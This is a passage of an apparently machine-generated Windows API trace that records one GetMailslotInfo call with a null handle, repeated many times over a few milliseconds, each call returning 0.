GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.135] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.136] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.137] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.138] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, 